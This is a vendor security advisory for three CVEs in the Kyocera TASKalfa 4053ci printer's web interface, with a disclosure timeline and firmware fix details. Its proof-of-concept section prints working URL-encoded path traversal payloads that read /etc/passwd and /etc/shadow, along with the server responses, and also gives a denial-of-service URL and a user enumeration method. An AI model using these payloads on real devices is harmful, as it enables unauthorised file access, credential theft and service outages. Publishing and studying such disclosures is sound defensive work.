SEC Consult Vulnerability Lab Security Advisory < 20230705-0 >

           title: Path traversal bypass & Denial of service  
         product: Kyocera TASKalfa 4053ci printer  

vulnerable version: TASKalfa 4053ci Version <= 2VG_S000.002.561
fixed version: 2VG_S000.002.574
CVE numbers: CVE-2023-34259, CVE-2023-34260, CVE-2023-34261
impact: High
homepage: https://global.kyocera.com
found: 2022-12-13
by: Stefan Michlits (Office Vienna)
Gorazd Jank (Office Vienna)
SEC Consult Vulnerability Lab

                  An integrated part of SEC Consult, an Eviden business  
                  Europe | Asia

                  https://www.sec-consult.com

=======================================================================

Vendor description:

“Kyocera Document Solutions is leading the digital shift driving productivity
and growth in the printing industry. We offer a range of exciting new options
that draw on the combined resources of the Kyocera Group.”

Source: https://www.kyoceradocumentsolutions.com/en/our-business/inkjet/

Business recommendation:

SEC Consult recommends Kyocera customers to install the latest updates.

Furthermore, an in-depth security analysis performed by security professionals
is highly advised, as the software may be affected from other security issues.

Vulnerability overview/description:

1. Path Traversal - Bypass (CVE-2023-34259)
   A path traversal vulnerability was found by Hakan Eren ŞAN in 2020-06-06.
   The previous exploit can be found at: https://www.exploit-db.com/exploits/48561
   Kyocera has fixed the vulnerability. It was not possible to access arbitrary
   files using the public exploit. However, SEC Consult have found a bypass to
   exploit this vulnerability again and access arbitrary files. Due to the fact
   that the web service is running as the user root, it was possible to access all
   files (e.g. /etc/shadow) on the device.

2. Denial-of-Service - Web Interface (CVE-2023-34260)
   The denial-of-service vulnerability is related to the path traversal
   vulnerability. Instead of requesting a file, a directory will be requested.
   Once the request is sent to the web service running on TCP port 443, the web
   service will become unresponsive and must be restarted.

3. User Enumeration (CVE-2023-34261)
   The login function on the web service running on TCP port 443 is prone to a
   user enumeration vulnerability. The login function will return different
   responses, whether the username is valid or not.

Proof of concept:

1. Path Traversal - Bypass (CVE-2023-34259)
   Previously, a security researcher has discovered an unauthenticated directory
   traversal vulnerability in the web service running on port 443. The following
   payload was used to access arbitrary files:

https://IP/wlmeng/…/…/…/…/…/…/…/…/…/…/…/etc/passwd%00index.htm

This vulnerability is fixed in the current version. It was not possible to
access arbitrary files using the above payload. However, the vulnerability was
not fixed correctly. SEC Consult identified a bypass to exploit this
vulnerability again.

Once the …/ sequences will be URL encoded, it is possible to bypass the fix
and access arbitrary files. The following payload can be used to access the
file /etc/passwd:

https://IP/wlmdeu%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd%00index.htm

The response containing the contents of the file /etc/passwd can be seen
in the following paragraph.

---

HTTP/1.1 200 OK
Content-Length: 770
Accept-Encoding: identity
Server: KM-MFP-http/V0.0.1
Content-Type: text/html
X-Frame-Options: SAMEORIGIN

root:x:0:0:root:/root:/bin/sh
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
sshd:x:100:1000:Linux User,:/var/run/sshd:/bin/false

---

Also, it was possible to access the file /etc/shadow. The following payload can
be used:

https://IP/wlmdeu%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/shadow%00index.htm

The output containing the content of the file /etc/shadow as it can be seen in
the following paragraph.

---

HTTP/1.1 200 OK
Content-Length: 401
Accept-Encoding: identity
Server: KM-MFP-http/V0.0.1
Content-Type: text/html
X-Frame-Options: SAMEORIGIN

root:$1$tfE2pkl/$O8uDq*************bSH.:11029::::::
daemon::11029::::::
bin::11029::::::
sys::11029::::::
sync::11029::::::
games::11029::::::
man::11029::::::
lp::11029::::::
mail::11029::::::
news::11029::::::
uucp::11029::::::
proxy::11029::::::
www-data::11029::::::
backup::11029::::::
list::11029::::::
irc::11029::::::
gnats::11029::::::
nobody:*:11029::::::
sshd:x:11029::::::

---

As the web service is running as the user root it was possible to access the
/etc/shadow file or the file has set the wrong permissions.

Based on previous security assessments of Kyocera printers, it is likely that
the service is running as the user root.

2. Denial-of-Service - Web Interface (CVE-2023-34260)
   To trigger the DoS attack it is sufficient to navigate to the URL:

https://IP/wlmdeu%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%00index.htm

Once the request is sent to the web service, the web service will become
unresponsive.

This attack is related to the path traversal vulnerability. The difference is
that in this case a folder is requested instead of a file. Apparently, this
leads to an error condition in the web server causing it to be unresponsive for
all users. Other applications offering a web interface (e.g., on port 8083)
seem to not be affected by the attack.

3. User Enumeration (CVE-2023-34261)
   The user enumeration is located in the login functionality of the web
   interface. Submitting an existing username will result in a different server
   response than submitting an incorrect username. This enables attackers to
   enumerate existing users by submitting potential usernames till a different
   response is gathered. In this case, it does not matter whether the transmitted
   password is correct or not. The gathered information could be used to better
   search for default passwords or custom passwords inside of public password
   leaks.
   In case, the username does not exist, the response will return
   "Login-Benutzername oder Passwort falsch.", on the other hand, if the
   username exists the response contains “Sie können sich nicht einloggen.”

Vulnerable / tested versions:

The following product has been tested:

• Kyocera TASKalfa 4053ci

All versions older than “2VG_S000.002.561” are vulnerable according to the vendor.

Vendor contact timeline:

2023-02-13: Asking for Kyocera KC-SIRT security contact through Nippon CSIRT
Association; quick response: https://www.nca.gr.jp/member/kc-sirt.html
(it seems only the Japanese website shows the email information)
2023-02-14: Contacting Kyocera KC-SIRT through [email protected]
2023-03-02: Contacting the vendor again, due to no response.
2023-03-06: Vendor response, KDC-PSIRT is responsible, requesting security advisory.
2023-03-13: Sending security advisory PGP-encrypted.
2023-04-19: Vendor response, vulnerabilities confirmed.
2023-05-19: Vendor response, the vulnerabilities were fixed. The patch will be
released on 2023-05-26.
2023-05-22: Informing vendor that we will request CVE numbers, asking for
information about affected & fixed version numbers.
2023-05-24: Vendor provides version information.
2023-06-02: Sending CVE numbers to vendor, asking for link to patch download.
2023-06-05: Vendor provides download information.
2023-07-05: Public release of security advisory.

Solution:

The vendor provided the following download information:

There are two ways to update the firmware of our products.

• One is to contact the shop of purchase and update the firmware from a service person.
• The other is to use the Firmware Upgrade tool. From the Kyocera Document Solutions
  Global website in your country, you can download this tool and latest firmware.
  Then you update the firmware yourself.
  See: https://www.kyoceradocumentsolutions.com/download/ and choose “TASKalfa4053ci”

Workaround:

None

Advisory URL:

https://sec-consult.com/vulnerability-lab/

SEC Consult Vulnerability Lab  
An integrated part of SEC Consult, an Eviden business  
Europe | Asia

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EOF S. Michlits, G. Jank / @2023